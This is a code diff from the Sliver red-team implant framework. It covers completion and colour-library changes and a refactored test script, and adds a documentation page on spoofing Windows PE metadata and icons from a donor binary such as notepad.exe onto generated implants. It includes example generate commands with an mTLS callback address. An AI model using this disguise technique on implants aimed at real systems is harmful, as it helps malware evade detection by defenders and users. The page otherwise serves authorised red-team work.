"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -35,9 +36,11 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["file"] = carapace.ActionFiles()
|
||||
(*comp)["dir"] = carapace.ActionDirectories()
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(wasmCmd, "file")
|
||||
wasmComp := carapace.Gen(wasmCmd)
|
||||
wasmComp.PositionalCompletion(carapace.ActionFiles().Usage("wasm/wasi module file (.wasm)"))
|
||||
wasmComp.PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the wasm module (optional)"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(wasmCmd, 0)
|
||||
|
||||
wasmLsCmd := &cobra.Command{
|
||||
Use: consts.LsStr,
|
||||
|
||||
@@ -4,6 +4,7 @@ import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -127,6 +128,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["content"] = carapace.ActionFiles().Tag("content directory/files")
|
||||
(*comp)["website"] = WebsiteNameCompleter(con)
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(websitesContentCmd, "content")
|
||||
websitesCmd.AddCommand(websitesContentCmd)
|
||||
|
||||
websitesContentTypeCmd := &cobra.Command{
|
||||
|
||||
@@ -41,7 +41,7 @@ func TestWebsiteRemoveConfirmationPrompt(t *testing.T) {
|
||||
|
||||
func TestWebsiteRemoveSuccessMessage(t *testing.T) {
|
||||
got := websiteRemoveSuccessMessage("test", 2)
|
||||
want := "removed test and 2 content items"
|
||||
want := "Removed test and 2 content items"
|
||||
if got != want {
|
||||
t.Fatalf("unexpected message: got %q want %q", got, want)
|
||||
}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package wireguard
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -31,6 +32,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.BindFlagCompletions(wgConfigCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save config")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(wgConfigCmd, "save")
|
||||
|
||||
return []*cobra.Command{wgConfigCmd}
|
||||
}
|
||||
|
||||
@@ -27,12 +27,11 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/theme"
|
||||
"github.com/charmbracelet/lipgloss"
|
||||
)
|
||||
|
||||
type promptPalette struct {
|
||||
Default lipgloss.Color
|
||||
Mods map[int]lipgloss.Color
|
||||
Default string
|
||||
Mods map[int]string
|
||||
}
|
||||
|
||||
type promptColors struct {
|
||||
@@ -107,11 +106,11 @@ var promptTemplateCache struct {
|
||||
|
||||
func toPromptPalette(p theme.Palette) promptPalette {
|
||||
out := promptPalette{
|
||||
Default: lipgloss.Color(p.Default),
|
||||
Mods: map[int]lipgloss.Color{},
|
||||
Default: p.Default,
|
||||
Mods: map[int]string{},
|
||||
}
|
||||
for k, v := range p.Mods {
|
||||
out.Mods[k] = lipgloss.Color(v)
|
||||
out.Mods[k] = v
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
@@ -19,8 +19,10 @@ package console
|
||||
*/
|
||||
|
||||
import (
|
||||
"image/color"
|
||||
|
||||
"charm.land/lipgloss/v2"
|
||||
"github.com/bishopfox/sliver/client/theme"
|
||||
"github.com/charmbracelet/lipgloss"
|
||||
)
|
||||
|
||||
// TextStyle is the shared styling type for the client/server consoles.
|
||||
@@ -87,13 +89,13 @@ func init() {
|
||||
// Note: this is intentionally a "global theme" for the console, since most of
|
||||
// the existing code expects these styles to be package-level values.
|
||||
func ApplyTheme(t theme.Theme) {
|
||||
palette := func(p theme.Palette) lipgloss.Color {
|
||||
palette := func(p theme.Palette) color.Color {
|
||||
if p.Default != "" {
|
||||
return lipgloss.Color(p.Default)
|
||||
}
|
||||
return lipgloss.Color("#ffffff")
|
||||
}
|
||||
paletteMod := func(p theme.Palette, mod int) lipgloss.Color {
|
||||
paletteMod := func(p theme.Palette, mod int) color.Color {
|
||||
if mod != 0 {
|
||||
if v, ok := p.Mods[mod]; ok && v != "" {
|
||||
return lipgloss.Color(v)
|
||||
|
||||
+26
-9
@@ -12,16 +12,17 @@ import (
|
||||
func HuhTheme() *huh.Theme {
|
||||
t := huh.ThemeBase()
|
||||
|
||||
border := DefaultMod(300)
|
||||
text := DefaultMod(900)
|
||||
dim := DefaultMod(500)
|
||||
faint := DefaultMod(400)
|
||||
current := Current()
|
||||
border := paletteModV1(current.Default, 300)
|
||||
text := paletteModV1(current.Default, 900)
|
||||
dim := paletteModV1(current.Default, 500)
|
||||
faint := paletteModV1(current.Default, 400)
|
||||
|
||||
primary := Primary()
|
||||
accent := Secondary()
|
||||
primary := paletteColorV1(current.Primary)
|
||||
accent := paletteColorV1(current.Secondary)
|
||||
|
||||
success := Success()
|
||||
danger := Danger()
|
||||
success := paletteColorV1(current.Success)
|
||||
danger := paletteColorV1(current.Danger)
|
||||
|
||||
// Focused styles.
|
||||
t.Focused.Base = t.Focused.Base.BorderForeground(border)
|
||||
@@ -45,7 +46,7 @@ func HuhTheme() *huh.Theme {
|
||||
|
||||
t.Focused.FocusedButton = t.Focused.FocusedButton.Foreground(text).Background(primary)
|
||||
t.Focused.Next = t.Focused.FocusedButton
|
||||
t.Focused.BlurredButton = t.Focused.BlurredButton.Foreground(text).Background(lipgloss.Color(DefaultMod(100)))
|
||||
t.Focused.BlurredButton = t.Focused.BlurredButton.Foreground(text).Background(paletteModV1(current.Default, 100))
|
||||
|
||||
t.Focused.TextInput.Cursor = t.Focused.TextInput.Cursor.Foreground(primary)
|
||||
t.Focused.TextInput.Placeholder = t.Focused.TextInput.Placeholder.Foreground(faint)
|
||||
@@ -65,3 +66,19 @@ func HuhTheme() *huh.Theme {
|
||||
|
||||
return t
|
||||
}
|
||||
|
||||
func paletteColorV1(p Palette) lipgloss.TerminalColor {
|
||||
if p.Default != "" {
|
||||
return lipgloss.Color(p.Default)
|
||||
}
|
||||
return lipgloss.Color("#ffffff")
|
||||
}
|
||||
|
||||
func paletteModV1(p Palette, mod int) lipgloss.TerminalColor {
|
||||
if mod != 0 {
|
||||
if v, ok := p.Mods[mod]; ok && v != "" {
|
||||
return lipgloss.Color(v)
|
||||
}
|
||||
}
|
||||
return paletteColorV1(p)
|
||||
}
|
||||
+16
-15
@@ -2,12 +2,13 @@ package theme
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"image/color"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
|
||||
"charm.land/lipgloss/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/charmbracelet/lipgloss"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
@@ -106,7 +107,7 @@ func normalizePalette(p *Palette) {
|
||||
}
|
||||
}
|
||||
|
||||
func (t Theme) paletteColor(p Palette) lipgloss.Color {
|
||||
func (t Theme) paletteColor(p Palette) color.Color {
|
||||
if p.Default != "" {
|
||||
return lipgloss.Color(p.Default)
|
||||
}
|
||||
@@ -114,7 +115,7 @@ func (t Theme) paletteColor(p Palette) lipgloss.Color {
|
||||
return lipgloss.Color("#ffffff")
|
||||
}
|
||||
|
||||
func (t Theme) paletteMod(p Palette, mod int) lipgloss.Color {
|
||||
func (t Theme) paletteMod(p Palette, mod int) color.Color {
|
||||
if mod != 0 {
|
||||
if v, ok := p.Mods[mod]; ok && v != "" {
|
||||
return lipgloss.Color(v)
|
||||
@@ -124,43 +125,43 @@ func (t Theme) paletteMod(p Palette, mod int) lipgloss.Color {
|
||||
}
|
||||
|
||||
// Primary returns the theme primary color.
|
||||
func Primary() lipgloss.Color { return Current().paletteColor(Current().Primary) }
|
||||
func PrimaryMod(mod int) lipgloss.Color {
|
||||
func Primary() color.Color { return Current().paletteColor(Current().Primary) }
|
||||
func PrimaryMod(mod int) color.Color {
|
||||
t := Current()
|
||||
return t.paletteMod(t.Primary, mod)
|
||||
}
|
||||
|
||||
// Secondary returns the theme secondary color.
|
||||
func Secondary() lipgloss.Color { return Current().paletteColor(Current().Secondary) }
|
||||
func SecondaryMod(mod int) lipgloss.Color {
|
||||
func Secondary() color.Color { return Current().paletteColor(Current().Secondary) }
|
||||
func SecondaryMod(mod int) color.Color {
|
||||
t := Current()
|
||||
return t.paletteMod(t.Secondary, mod)
|
||||
}
|
||||
|
||||
// Default returns the theme default/neutral color.
|
||||
func Default() lipgloss.Color { return Current().paletteColor(Current().Default) }
|
||||
func DefaultMod(mod int) lipgloss.Color {
|
||||
func Default() color.Color { return Current().paletteColor(Current().Default) }
|
||||
func DefaultMod(mod int) color.Color {
|
||||
t := Current()
|
||||
return t.paletteMod(t.Default, mod)
|
||||
}
|
||||
|
||||
// Success returns the theme success color.
|
||||
func Success() lipgloss.Color { return Current().paletteColor(Current().Success) }
|
||||
func SuccessMod(mod int) lipgloss.Color {
|
||||
func Success() color.Color { return Current().paletteColor(Current().Success) }
|
||||
func SuccessMod(mod int) color.Color {
|
||||
t := Current()
|
||||
return t.paletteMod(t.Success, mod)
|
||||
}
|
||||
|
||||
// Warning returns the theme warning color.
|
||||
func Warning() lipgloss.Color { return Current().paletteColor(Current().Warning) }
|
||||
func WarningMod(mod int) lipgloss.Color {
|
||||
func Warning() color.Color { return Current().paletteColor(Current().Warning) }
|
||||
func WarningMod(mod int) color.Color {
|
||||
t := Current()
|
||||
return t.paletteMod(t.Warning, mod)
|
||||
}
|
||||
|
||||
// Danger returns the theme danger color.
|
||||
func Danger() lipgloss.Color { return Current().paletteColor(Current().Danger) }
|
||||
func DangerMod(mod int) lipgloss.Color {
|
||||
func Danger() color.Color { return Current().paletteColor(Current().Danger) }
|
||||
func DangerMod(mod int) color.Color {
|
||||
t := Current()
|
||||
return t.paletteMod(t.Danger, mod)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,179 @@
|
||||
Executable metadata spoofing lets you post-process a generated build and copy metadata/resource details from a donor executable.
|
||||
|
||||
## Overview
|
||||
|
||||
The feature is enabled with the `--spoof-metadata` flag on generate commands.
|
||||
|
||||
- Current format support: `pe` (Windows PE)
|
||||
- Config file: `<client app dir>/spoof-metadata.yaml`
|
||||
- Default client app dir: `~/.sliver-client`
|
||||
|
||||
On first client startup, Sliver creates `spoof-metadata.yaml` if it does not exist.
|
||||
|
||||
## Flag Usage
|
||||
|
||||
`--spoof-metadata` is off by default.
|
||||
|
||||
- No flag: metadata spoofing is not applied.
|
||||
- `--spoof-metadata` (no argument): use `<client app dir>/spoof-metadata.yaml`.
|
||||
- `--spoof-metadata /path/to/donor.exe`: use the provided donor file directly.
|
||||
|
||||
Path mode validation:
|
||||
|
||||
- Currently only supported for Windows PE targets.
|
||||
- Target output format must be executable, service, or shared library.
|
||||
- Donor PE machine type must match target architecture (`386`, `amd64`, `arm64`).
|
||||
- For shared library targets, donor must be a DLL; for executable/service targets, donor must not be a DLL.
|
||||
|
||||
When path mode is used, Sliver only uses the donor file bytes as `pe.source` and does not read override fields from `spoof-metadata.yaml`.
|
||||
|
||||
## Quick Start
|
||||
|
||||
1. Start the client once to generate `~/.sliver-client/spoof-metadata.yaml`.
|
||||
2. Edit `pe.source.path` to point to a donor PE file.
|
||||
3. Generate with `--spoof-metadata`.
|
||||
|
||||
Example:
|
||||
|
||||
```bash
|
||||
sliver > generate --os windows --arch amd64 --format exe --mtls 10.0.0.5 --spoof-metadata -N win-agent
|
||||
```
|
||||
|
||||
Direct donor path example:
|
||||
|
||||
```bash
|
||||
sliver > generate --os windows --arch amd64 --format exe --mtls 10.0.0.5 --spoof-metadata /opt/samples/notepad.exe -N win-agent
|
||||
```
|
||||
|
||||
## Config Format
|
||||
|
||||
Top-level config:
|
||||
|
||||
```yaml
|
||||
pe:
|
||||
source:
|
||||
name: metadata-source.exe
|
||||
path: /absolute/path/to/donor.exe
|
||||
```
|
||||
|
||||
`pe.source` is required when using `--spoof-metadata`.
|
||||
|
||||
Fields that can carry binary content (such as `source` and `icon`) support:
|
||||
|
||||
- `name`: logical filename sent in protobuf metadata
|
||||
- `path`: local file path read by the client
|
||||
- `base64`: inline base64 bytes
|
||||
|
||||
`name` and `path` are not duplicates:
|
||||
|
||||
- `path` controls where bytes are loaded from on the client machine.
|
||||
- `name` is the filename value sent to the server.
|
||||
|
||||
If `path` is set and `name` is omitted, Sliver uses `basename(path)` automatically.
|
||||
|
||||
Set only one of `path` or `base64` for each object.
|
||||
|
||||
## Examples
|
||||
|
||||
### Minimal Path-Based Config
|
||||
|
||||
```yaml
|
||||
pe:
|
||||
source:
|
||||
name: metadata-source.exe
|
||||
path: /opt/samples/notepad.exe
|
||||
```
|
||||
|
||||
### Include Icon Donor Bytes
|
||||
|
||||
```yaml
|
||||
pe:
|
||||
source:
|
||||
name: metadata-source.exe
|
||||
path: /opt/samples/notepad.exe
|
||||
icon:
|
||||
name: icon.ico
|
||||
path: /opt/samples/app.ico
|
||||
```
|
||||
|
||||
### Inline Base64 Config
|
||||
|
||||
```yaml
|
||||
pe:
|
||||
source:
|
||||
name: metadata-source.exe
|
||||
base64: TVqQAAMAAAAEAAAA...
|
||||
icon:
|
||||
name: icon.ico
|
||||
base64: AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAA...
|
||||
```
|
||||
|
||||
### Advanced Optional PE Structure Fields
|
||||
|
||||
These fields are optional and act as PE metadata overrides:
|
||||
|
||||
```yaml
|
||||
pe:
|
||||
source:
|
||||
name: metadata-source.exe
|
||||
path: /opt/samples/notepad.exe
|
||||
|
||||
resource_directory:
|
||||
major_version: 1
|
||||
minor_version: 0
|
||||
time_date_stamp: 1712345678
|
||||
number_of_named_entries: 0
|
||||
number_of_id_entries: 0
|
||||
|
||||
resource_directory_entries:
|
||||
- name: 1
|
||||
offset_to_data: 0
|
||||
|
||||
resource_data_entries:
|
||||
- offset_to_data: 0
|
||||
size: 0
|
||||
code_page: 0
|
||||
reserved: 0
|
||||
|
||||
export_directory:
|
||||
major_version: 1
|
||||
minor_version: 0
|
||||
time_date_stamp: 1712345678
|
||||
number_of_functions: 0
|
||||
number_of_names: 0
|
||||
```
|
||||
|
||||
## Override Behavior
|
||||
|
||||
Override order for `pe`:
|
||||
|
||||
1. Sliver clones metadata/resources from `pe.source`.
|
||||
2. Sliver applies explicit override fields from your config.
|
||||
|
||||
This means:
|
||||
|
||||
- If an override field is set, it replaces the cloned value.
|
||||
- If an override field is omitted, the cloned donor value is kept.
|
||||
|
||||
Resource override details:
|
||||
|
||||
- `resource_directory` overrides the root `IMAGE_RESOURCE_DIRECTORY` fields.
|
||||
- `resource_directory_entries` overrides the first N root directory entries in order.
|
||||
- `resource_data_entries` overrides the first N resource data entries discovered in resource-tree order.
|
||||
|
||||
Export override details:
|
||||
|
||||
- `export_directory` overrides fields in the PE export directory when that directory exists.
|
||||
- If a PE has no export directory, this override has no effect.
|
||||
|
||||
Important:
|
||||
|
||||
- In protobuf/YAML, scalar zero values are real override values when the parent block is present.
|
||||
- When setting partial `resource_directory` values, include `number_of_named_entries` and `number_of_id_entries` from the original header unless you intentionally want to change them.
|
||||
|
||||
## Notes
|
||||
|
||||
- The client reads local file paths and sends bytes to the server over gRPC.
|
||||
- Spoofing is applied only after a build completes successfully.
|
||||
- The server applies spoofing to the selected existing build artifact.
|
||||
- PE support is implemented first; the config is structured for future executable formats.
|
||||
+202
-206
@@ -1,6 +1,5 @@
|
||||
#!/bin/bash
|
||||
|
||||
|
||||
# Sliver Implant Framework
|
||||
# Copyright (C) 2019 Bishop Fox
|
||||
|
||||
@@ -17,11 +16,14 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
set -u
|
||||
set -o pipefail
|
||||
|
||||
SKIP_GENERATE=0
|
||||
for arg in "$@"; do
|
||||
if [ "$arg" = "--skip-generate" ]; then
|
||||
SKIP_GENERATE=1
|
||||
fi
|
||||
if [ "$arg" = "--skip-generate" ]; then
|
||||
SKIP_GENERATE=1
|
||||
fi
|
||||
done
|
||||
|
||||
echo "----------------------------------------------------------------"
|
||||
@@ -30,214 +32,208 @@ echo " Recommended to only run on 16+ CPU cores and 32Gb+ RAM"
|
||||
echo "----------------------------------------------------------------"
|
||||
TAGS=osusergo,netgo,go_sqlite
|
||||
|
||||
TEST_TMP_ROOT="$(mktemp -d)"
|
||||
if [ ! -d "$TEST_TMP_ROOT" ]; then
|
||||
echo "Failed to create temporary test root directory" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
cleanup() {
|
||||
local status=$?
|
||||
trap - EXIT INT TERM
|
||||
|
||||
# Some long-running tests (notably in server/generate) may still have child
|
||||
# build processes touching files under the temp root when cleanup starts.
|
||||
if command -v pkill >/dev/null 2>&1; then
|
||||
pkill -TERM -P $$ 2>/dev/null || true
|
||||
pkill -TERM -f "$TEST_TMP_ROOT" 2>/dev/null || true
|
||||
sleep 1
|
||||
pkill -KILL -P $$ 2>/dev/null || true
|
||||
pkill -KILL -f "$TEST_TMP_ROOT" 2>/dev/null || true
|
||||
fi
|
||||
wait 2>/dev/null || true
|
||||
|
||||
for _ in 1 2 3 4 5; do
|
||||
rm -rf "$TEST_TMP_ROOT" 2>/dev/null || true
|
||||
if [ ! -e "$TEST_TMP_ROOT" ]; then
|
||||
break
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
|
||||
if [ -e "$TEST_TMP_ROOT" ]; then
|
||||
echo "WARNING: Failed to fully clean temp dir: $TEST_TMP_ROOT" >&2
|
||||
fi
|
||||
|
||||
exit "$status"
|
||||
}
|
||||
trap cleanup EXIT INT TERM
|
||||
|
||||
export SLIVER_ROOT_DIR="$TEST_TMP_ROOT/sliver"
|
||||
export SLIVER_CLIENT_DIR="$TEST_TMP_ROOT/sliver-client"
|
||||
export SLIVER_CLIENT_ROOT_DIR="$SLIVER_CLIENT_DIR" # legacy compatibility
|
||||
export HOME="$TEST_TMP_ROOT/home"
|
||||
export XDG_CONFIG_HOME="$TEST_TMP_ROOT/xdg-config"
|
||||
export XDG_CACHE_HOME="$TEST_TMP_ROOT/xdg-cache"
|
||||
export XDG_DATA_HOME="$TEST_TMP_ROOT/xdg-data"
|
||||
export TMPDIR="$TEST_TMP_ROOT/tmp"
|
||||
export TMP="$TMPDIR"
|
||||
export TEMP="$TMPDIR"
|
||||
export GOCACHE="$TEST_TMP_ROOT/go-cache"
|
||||
export GOTMPDIR="$TEST_TMP_ROOT/go-tmp"
|
||||
export GOFLAGS="${GOFLAGS:-} -mod=vendor"
|
||||
|
||||
mkdir -p \
|
||||
"$SLIVER_ROOT_DIR" \
|
||||
"$SLIVER_CLIENT_DIR" \
|
||||
"$HOME" \
|
||||
"$XDG_CONFIG_HOME" \
|
||||
"$XDG_CACHE_HOME" \
|
||||
"$XDG_DATA_HOME" \
|
||||
"$TMPDIR" \
|
||||
"$GOCACHE" \
|
||||
"$GOTMPDIR"
|
||||
export PATH="$SLIVER_ROOT_DIR/go/bin:$PATH"
|
||||
|
||||
echo "Using isolated temp directories:"
|
||||
echo " SLIVER_ROOT_DIR=$SLIVER_ROOT_DIR"
|
||||
echo " SLIVER_CLIENT_DIR=$SLIVER_CLIENT_DIR"
|
||||
|
||||
print_failure_logs() {
|
||||
cat "$SLIVER_ROOT_DIR/logs/sliver.log" 2>/dev/null || true
|
||||
}
|
||||
|
||||
run_test_cmd() {
|
||||
local name="$1"
|
||||
shift
|
||||
|
||||
echo
|
||||
echo "==> $name"
|
||||
if "$@"; then
|
||||
return 0
|
||||
fi
|
||||
|
||||
print_failure_logs
|
||||
return 1
|
||||
}
|
||||
|
||||
should_skip_package() {
|
||||
local pkg="$1"
|
||||
local tags="${2:-}"
|
||||
local go_list_cmd=(go list -e -f '{{if .Error}}{{.Error}}{{end}}')
|
||||
if [ -n "$tags" ]; then
|
||||
go_list_cmd+=("-tags=$tags")
|
||||
fi
|
||||
go_list_cmd+=("$pkg")
|
||||
|
||||
local go_list_error
|
||||
go_list_error="$("${go_list_cmd[@]}" 2>/dev/null || true)"
|
||||
if [[ "$go_list_error" == *"build constraints exclude all Go files"* ]]; then
|
||||
echo
|
||||
echo "==> Skipping $pkg (unsupported on current platform)"
|
||||
return 0
|
||||
fi
|
||||
return 1
|
||||
}
|
||||
|
||||
collect_test_dirs() {
|
||||
if command -v rg >/dev/null 2>&1; then
|
||||
rg --files -g '*_test.go'
|
||||
else
|
||||
find client implant server util -type f -name '*_test.go' -print
|
||||
fi
|
||||
}
|
||||
|
||||
unpack_server_assets() {
|
||||
if [ -x "./sliver-server" ]; then
|
||||
if ./sliver-server unpack --force; then
|
||||
return 0
|
||||
fi
|
||||
echo "sliver-server unpack failed, falling back to go run ./server unpack --force"
|
||||
fi
|
||||
go run -tags=server,go_sqlite ./server unpack --force
|
||||
}
|
||||
|
||||
run_test_cmd "unpack server assets" unpack_server_assets || exit 1
|
||||
|
||||
TEST_DIRS=()
|
||||
while IFS= read -r test_dir; do
|
||||
TEST_DIRS+=("$test_dir")
|
||||
done < <(collect_test_dirs | xargs -n1 dirname | sort -u)
|
||||
|
||||
CLIENT_TEST_PKGS=()
|
||||
IMPLANT_TEST_PKGS=()
|
||||
SERVER_UTIL_TEST_PKGS=()
|
||||
|
||||
for test_dir in "${TEST_DIRS[@]}"; do
|
||||
pkg="./$test_dir"
|
||||
case "$pkg" in
|
||||
./server/c2 | ./server/generate)
|
||||
# handled separately below
|
||||
;;
|
||||
./client/*)
|
||||
CLIENT_TEST_PKGS+=("$pkg")
|
||||
;;
|
||||
./implant/*)
|
||||
IMPLANT_TEST_PKGS+=("$pkg")
|
||||
;;
|
||||
./server/* | ./util*)
|
||||
SERVER_UTIL_TEST_PKGS+=("$pkg")
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
## Client
|
||||
|
||||
# client / command / alias
|
||||
if go test -tags=client,$TAGS ./client/command/alias ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# client / command / extensions
|
||||
if go test -tags=client,$TAGS ./client/command/extensions ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# client / credentials
|
||||
if go test -tags=client,$TAGS ./client/credentials ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
## Util
|
||||
|
||||
# util
|
||||
if go test -tags=server,$TAGS ./util ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# util / encoders
|
||||
if go test -tags=server,$TAGS ./util/encoders/basex ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
if go test -tags=server,$TAGS ./util/encoders ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# util / minisign
|
||||
if go test -tags=server,$TAGS ./util/minisign ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
for pkg in "${CLIENT_TEST_PKGS[@]}"; do
|
||||
if should_skip_package "$pkg" "client,$TAGS"; then
|
||||
continue
|
||||
fi
|
||||
run_test_cmd "$pkg" go test -tags="client,$TAGS" "$pkg" || exit 1
|
||||
done
|
||||
|
||||
## Implant
|
||||
for pkg in "${IMPLANT_TEST_PKGS[@]}"; do
|
||||
if should_skip_package "$pkg"; then
|
||||
continue
|
||||
fi
|
||||
run_test_cmd "$pkg" go test "$pkg" || exit 1
|
||||
done
|
||||
|
||||
# implant / sliver / extension
|
||||
if go test ./implant/sliver/extension ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
## Server + Util
|
||||
for pkg in "${SERVER_UTIL_TEST_PKGS[@]}"; do
|
||||
if should_skip_package "$pkg" "server,$TAGS"; then
|
||||
continue
|
||||
fi
|
||||
case "$pkg" in
|
||||
./server/assets/traffic-encoders | ./server/encoders)
|
||||
run_test_cmd "$pkg" go test -timeout 10m -tags="server,$TAGS" "$pkg" || exit 1
|
||||
;;
|
||||
./server/rpc)
|
||||
run_test_cmd "$pkg" go test -vet=off -timeout 30m -tags="server,$TAGS" "$pkg" || exit 1
|
||||
;;
|
||||
*)
|
||||
run_test_cmd "$pkg" go test -tags="server,$TAGS" "$pkg" || exit 1
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
# implant / sliver / transports / dnsclient
|
||||
if go test ./implant/sliver/transports/dnsclient ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
## Server c2 (unit + e2e)
|
||||
run_test_cmd "./server/c2" go test -tags="server,$TAGS" ./server/c2 || exit 1
|
||||
run_test_cmd "./server/c2 (e2e yamux)" go test -tags="server,$TAGS,sliver_e2e" ./server/c2 -run 'Test(MTLS|WG)Yamux_' -count=1 || exit 1
|
||||
run_test_cmd "./server/c2 (e2e dns)" go test -tags="server,$TAGS,sliver_e2e" ./server/c2 -run 'TestDNS_' -count=1 || exit 1
|
||||
|
||||
# implant / sliver / transports / wireguard
|
||||
if go test ./implant/sliver/transports/wireguard ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
## Server
|
||||
|
||||
# server / assets / traffic encoders
|
||||
if go test -timeout 10m -tags=server,$TAGS ./server/assets/traffic-encoders ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / encoders
|
||||
if go test -timeout 10m -tags=server,$TAGS ./server/encoders ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / website
|
||||
if go test -tags=server,$TAGS ./server/website ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / loot
|
||||
if go test -tags=server,$TAGS ./server/loot ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / certs
|
||||
if go test -tags=server,$TAGS ./server/certs ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / cryptography
|
||||
if go test -tags=server,$TAGS ./server/cryptography ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / encoders / shellcode / sgn
|
||||
if go test -tags=server,$TAGS ./server/encoders/shellcode/sgn ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / encoders / shellcode / arm64
|
||||
if go test -tags=server,$TAGS ./server/encoders/shellcode/arm64 ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / gogo / goname
|
||||
if go test -tags=server,$TAGS ./server/gogo/goname ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / gogo
|
||||
if go test -tags=server,$TAGS ./server/gogo ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / c2
|
||||
if go test -tags=server,$TAGS ./server/c2 ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / c2 / e2e (mtls + wg + yamux)
|
||||
SLIVER_ROOT_DIR_E2E="$(mktemp -d)"
|
||||
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'Test(MTLS|WG)Yamux_' -count=1 ; then
|
||||
:
|
||||
else
|
||||
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
|
||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / c2 / e2e (dns)
|
||||
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'TestDNS_' -count=1 ; then
|
||||
:
|
||||
else
|
||||
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
|
||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||
exit 1
|
||||
fi
|
||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||
|
||||
# server / configs
|
||||
if go test -tags=server,$TAGS ./server/configs ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / console
|
||||
if go test -tags=server,$TAGS ./server/console ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / generate
|
||||
## Server generate
|
||||
if [ "$SKIP_GENERATE" -eq 0 ]; then
|
||||
export GOPROXY=off
|
||||
if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
|
||||
:
|
||||
else
|
||||
